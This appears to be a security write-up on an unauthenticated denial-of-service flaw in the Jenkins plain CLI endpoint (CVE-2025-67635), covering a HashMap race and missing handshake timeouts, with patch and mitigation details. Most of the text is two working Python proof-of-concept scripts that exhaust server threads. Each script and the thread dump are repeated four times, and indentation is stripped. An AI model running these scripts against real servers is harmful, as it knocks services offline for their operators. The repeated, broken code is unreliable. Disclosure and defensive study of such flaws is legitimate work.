What the endpoint does
The non-Remoting CLI builds a full-duplex channel from two HTTP POSTs:
Download side: Side: download, opens /cli?remoting=false, server writes a byte and waits for the upload half
Upload side: Side: upload, same Session UUID, provides the input stream
hudson.cli.CLIAction wires this to jenkins.util.FullDuplexHttpService, storing active sessions in a cross-request registry.
Root cause #1: Unsynced session registry (race condition)
CLIAction keeps the session map in a plain HashMap shared by all request threads:
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();
FullDuplexHttpService.Response.generateResponse calls services.put(uuid, service) for the download side, and services.get(uuid) for the upload side. Because HashMap is not thread-safe, concurrent puts/gets under load can
return null for a valid download side;
drop entries during a resize;
leave download threads inside FullDuplexHttpService.download waiting up to 15s for an upload that already arrived.
The result: Every racy pair ties up a servlet thread for the full timeout while the attacker's sockets close immediately, causing an asymmetric DoS and violating the security requirement “Make critical logic flows thread safe”.
Root cause #2: Missing protocol timeouts (deterministic hang)
Even when the two halves pair correctly, the protocol handshake can deadlock because neither side times out:
synchronized (this) {
while (!ready) {
wait();
}
}
while (!completed) {
wait();
}
synchronized (this) {
while (!ready) {
wait();
}
}
while (!completed) {
wait();
}
synchronized (this) {
while (!ready) {
wait();
}
}
while (!completed) {
wait();
}
synchronized (this) {
while (!ready) {
wait();
}
}
while (!completed) {
wait();
}If the client drops the connection before sending CLI frames, the download thread blocks in ServerSideImpl.run() and the upload thread blocks in upload() with no timeout, consuming two Jetty threads per attempt until the controller is exhausted.
Exploitation notes
Both vectors require only network reachability to /cli:
Scenario A (race condition): Fire overlapping download/upload pairs with slight jitter so the upload half occasionally sees null. Threads pile up in FullDuplexHttpService.download for ~15s each.
Scenario B (abandonment): open both halves, let them pair, then close without sending CLI frames. Threads stay in CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload indefinitely, no timing window needed.
Below are the exact PoCs shared with the Jenkins security team:
PoC: racecond_a.py (HashMap race, two downloads per UUID)
import requests
import uuid
import concurrent.futures
import sys
def create_download(jenkins_url, session_id, session):
headers = {'Session': session_id, 'Side': 'download'}
try:
response = session.post(
f"{jenkins_url}/cli?remoting=false",
headers=headers,
data=b'',
timeout=20
)
return response.status_code
except requests.exceptions.Timeout:
return 'TIMEOUT'
except Exception:
return 'ERROR'
def main(jenkins_url, num_sessions):
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(
max_retries=0,
pool_connections=200,
pool_maxsize=200
)
session.mount('http://', adapter)
session.mount('https://', adapter)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
timeouts = 0
for future in concurrent.futures.as_completed(futures):
if future.result() == 'TIMEOUT':
timeouts += 1
print(f"Timeouts: {timeouts}/{num_sessions*2}")
if __name__ == "__main__":
jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
main(jenkins_url, num_sessions)
import requests
import uuid
import concurrent.futures
import sys
def create_download(jenkins_url, session_id, session):
headers = {'Session': session_id, 'Side': 'download'}
try:
response = session.post(
f"{jenkins_url}/cli?remoting=false",
headers=headers,
data=b'',
timeout=20
)
return response.status_code
except requests.exceptions.Timeout:
return 'TIMEOUT'
except Exception:
return 'ERROR'
def main(jenkins_url, num_sessions):
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(
max_retries=0,
pool_connections=200,
pool_maxsize=200
)
session.mount('http://', adapter)
session.mount('https://', adapter)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
timeouts = 0
for future in concurrent.futures.as_completed(futures):
if future.result() == 'TIMEOUT':
timeouts += 1
print(f"Timeouts: {timeouts}/{num_sessions*2}")
if __name__ == "__main__":
jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
main(jenkins_url, num_sessions)
import requests
import uuid
import concurrent.futures
import sys
def create_download(jenkins_url, session_id, session):
headers = {'Session': session_id, 'Side': 'download'}
try:
response = session.post(
f"{jenkins_url}/cli?remoting=false",
headers=headers,
data=b'',
timeout=20
)
return response.status_code
except requests.exceptions.Timeout:
return 'TIMEOUT'
except Exception:
return 'ERROR'
def main(jenkins_url, num_sessions):
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(
max_retries=0,
pool_connections=200,
pool_maxsize=200
)
session.mount('http://', adapter)
session.mount('https://', adapter)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
timeouts = 0
for future in concurrent.futures.as_completed(futures):
if future.result() == 'TIMEOUT':
timeouts += 1
print(f"Timeouts: {timeouts}/{num_sessions*2}")
if __name__ == "__main__":
jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
main(jenkins_url, num_sessions)
import requests
import uuid
import concurrent.futures
import sys
def create_download(jenkins_url, session_id, session):
headers = {'Session': session_id, 'Side': 'download'}
try:
response = session.post(
f"{jenkins_url}/cli?remoting=false",
headers=headers,
data=b'',
timeout=20
)
return response.status_code
except requests.exceptions.Timeout:
return 'TIMEOUT'
except Exception:
return 'ERROR'
def main(jenkins_url, num_sessions):
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(
max_retries=0,
pool_connections=200,
pool_maxsize=200
)
session.mount('http://', adapter)
session.mount('https://', adapter)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
futures.append(executor.submit(create_download, jenkins_url, session_id, session))
timeouts = 0
for future in concurrent.futures.as_completed(futures):
if future.result() == 'TIMEOUT':
timeouts += 1
print(f"Timeouts: {timeouts}/{num_sessions*2}")
if __name__ == "__main__":
jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
main(jenkins_url, num_sessions)PoC: racecond_b.py (protocol abandonment, deterministic hang)
import socket
import struct
import uuid
import time
import threading
import sys
JENKINS_HOST = "localhost"
JENKINS_PORT = 8081
OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2
def send_cli_frame(sock, opcode, data=b""):
if isinstance(data, str):
data = data.encode('utf-8')
length = len(data)
frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
sock.sendall(frame)
def establish_download(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
sock.recv(1)
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def establish_upload_without_start(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
send_cli_frame(sock, OP_ARG, "help")
time.sleep(0.05)
send_cli_frame(sock, OP_LOCALE, "en_US")
time.sleep(0.05)
send_cli_frame(sock, OP_ENCODING, "UTF-8")
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def create_abandoned_session(session_id, duration=30):
download_thread = threading.Thread(
target=establish_download,
args=(session_id, duration),
daemon=True
)
download_thread.start()
time.sleep(0.3)
upload_thread = threading.Thread(
target=establish_upload_without_start,
args=(session_id, duration),
daemon=True
)
upload_thread.start()
return download_thread, upload_thread
def main(num_sessions):
threads = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
download_t, upload_t = create_abandoned_session(session_id, duration=60)
threads.extend([download_t, upload_t])
time.sleep(0.1)
for t in threads:
t.join()
print(f"Created {num_sessions} sessions")
if __name__ == "__main__":
num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
main(num_sessions)
import socket
import struct
import uuid
import time
import threading
import sys
JENKINS_HOST = "localhost"
JENKINS_PORT = 8081
OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2
def send_cli_frame(sock, opcode, data=b""):
if isinstance(data, str):
data = data.encode('utf-8')
length = len(data)
frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
sock.sendall(frame)
def establish_download(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
sock.recv(1)
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def establish_upload_without_start(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
send_cli_frame(sock, OP_ARG, "help")
time.sleep(0.05)
send_cli_frame(sock, OP_LOCALE, "en_US")
time.sleep(0.05)
send_cli_frame(sock, OP_ENCODING, "UTF-8")
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def create_abandoned_session(session_id, duration=30):
download_thread = threading.Thread(
target=establish_download,
args=(session_id, duration),
daemon=True
)
download_thread.start()
time.sleep(0.3)
upload_thread = threading.Thread(
target=establish_upload_without_start,
args=(session_id, duration),
daemon=True
)
upload_thread.start()
return download_thread, upload_thread
def main(num_sessions):
threads = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
download_t, upload_t = create_abandoned_session(session_id, duration=60)
threads.extend([download_t, upload_t])
time.sleep(0.1)
for t in threads:
t.join()
print(f"Created {num_sessions} sessions")
if __name__ == "__main__":
num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
main(num_sessions)
import socket
import struct
import uuid
import time
import threading
import sys
JENKINS_HOST = "localhost"
JENKINS_PORT = 8081
OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2
def send_cli_frame(sock, opcode, data=b""):
if isinstance(data, str):
data = data.encode('utf-8')
length = len(data)
frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
sock.sendall(frame)
def establish_download(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
sock.recv(1)
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def establish_upload_without_start(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
send_cli_frame(sock, OP_ARG, "help")
time.sleep(0.05)
send_cli_frame(sock, OP_LOCALE, "en_US")
time.sleep(0.05)
send_cli_frame(sock, OP_ENCODING, "UTF-8")
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def create_abandoned_session(session_id, duration=30):
download_thread = threading.Thread(
target=establish_download,
args=(session_id, duration),
daemon=True
)
download_thread.start()
time.sleep(0.3)
upload_thread = threading.Thread(
target=establish_upload_without_start,
args=(session_id, duration),
daemon=True
)
upload_thread.start()
return download_thread, upload_thread
def main(num_sessions):
threads = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
download_t, upload_t = create_abandoned_session(session_id, duration=60)
threads.extend([download_t, upload_t])
time.sleep(0.1)
for t in threads:
t.join()
print(f"Created {num_sessions} sessions")
if __name__ == "__main__":
num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
main(num_sessions)
import socket
import struct
import uuid
import time
import threading
import sys
JENKINS_HOST = "localhost"
JENKINS_PORT = 8081
OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2
def send_cli_frame(sock, opcode, data=b""):
if isinstance(data, str):
data = data.encode('utf-8')
length = len(data)
frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
sock.sendall(frame)
def establish_download(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
sock.recv(1)
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def establish_upload_without_start(session_id, duration=30):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((JENKINS_HOST, JENKINS_PORT))
request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
sock.sendall(request.encode())
response = b""
while b"\r\n\r\n" not in response:
chunk = sock.recv(1)
if not chunk:
return False
response += chunk
send_cli_frame(sock, OP_ARG, "help")
time.sleep(0.05)
send_cli_frame(sock, OP_LOCALE, "en_US")
time.sleep(0.05)
send_cli_frame(sock, OP_ENCODING, "UTF-8")
time.sleep(duration)
sock.close()
return True
except Exception:
return False
def create_abandoned_session(session_id, duration=30):
download_thread = threading.Thread(
target=establish_download,
args=(session_id, duration),
daemon=True
)
download_thread.start()
time.sleep(0.3)
upload_thread = threading.Thread(
target=establish_upload_without_start,
args=(session_id, duration),
daemon=True
)
upload_thread.start()
return download_thread, upload_thread
def main(num_sessions):
threads = []
for i in range(num_sessions):
session_id = str(uuid.uuid4())
download_t, upload_t = create_abandoned_session(session_id, duration=60)
threads.extend([download_t, upload_t])
time.sleep(0.1)
for t in threads:
t.join()
print(f"Created {num_sessions} sessions")
if __name__ == "__main__":
num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
main(num_sessions)Evidence
Thread dump (Scenario B, Jenkins 2.516.2 test controller): Stuck in the exact call sites with no timeout:
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)
at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
Video evidence: End-to-end crash reproduction against a fresh controller:
On a vulnerable build, you will see dozens of request threads waiting in those call sites, and regular CLI calls start timing out.
Impact
Unauthenticated DoS: no Overall/Read required to hit /cli?remoting=false
Low attacker cost: Sockets close immediately, the server holds the work (15s per race attempt, infinite for abandonment)
Controller-wide degradation: Servlet threads and I/O streams back up, other endpoints time out
Patch details
Core commit: efa1816
CLIAction now stores sessions in a ConcurrentHashMap, removing the racy HashMap drops that powered the asymmetric DoS.
ServerSideImpl.run and FullDuplexHttpService.upload adopted CONNECTION_TIMEOUT-bounded waits with 1s wake-ups and DEBUG logs, so abandoned handshakes unwind instead of parking threads.
PlainCLIProtocol always calls side.handleClose() in a finally block, ensuring both halves tear down even on read errors or runtime exceptions.
Regression coverage landed in Security3630Test (JUnit 5): It shrinks the CLI timeout for tests, exercises the previous race with concurrent CLI invocations, and asserts threads are released after truncated streams.
Net effect: The CLI download/upload pairing now fails fast and frees Jetty threads instead of blocking indefinitely on missing counterparts.
The changes bring the full-duplex CLI path back into compliance with requirement “Make critical logic flows thread safe”.
CVE and advisory references
SECURITY-3630 was assigned CVE-2025-67635 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). See the CNA record on cve.org and the NIST entry on NVD for canonical metadata.
Jenkins' official write-up: Jenkins Security Advisory 2025-12-10: SECURITY-3630.
Fix and hardening
If you cannot upgrade immediately, do the following:
Disable or firewall the plain CLI endpoint, prefer the WebSocket CLI with proper auth.
Lower Jetty thread caps only as a last resort (does not remove the bug).
Monitor thread dumps for CLIAction$ServerSideImpl.run and FullDuplexHttpService.upload/download wait states.
Indicators of compromise
Repeated IOException: No download side found for <uuid> in logs.
Thread dumps showing many TIMED_WAITING at FullDuplexHttpService.download or WAITING at CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.
Spikes in /cli?remoting=false requests lacking authentication headers.
Patch promptly. This is a cheap, network-reachable DoS path in default Jenkins deployments.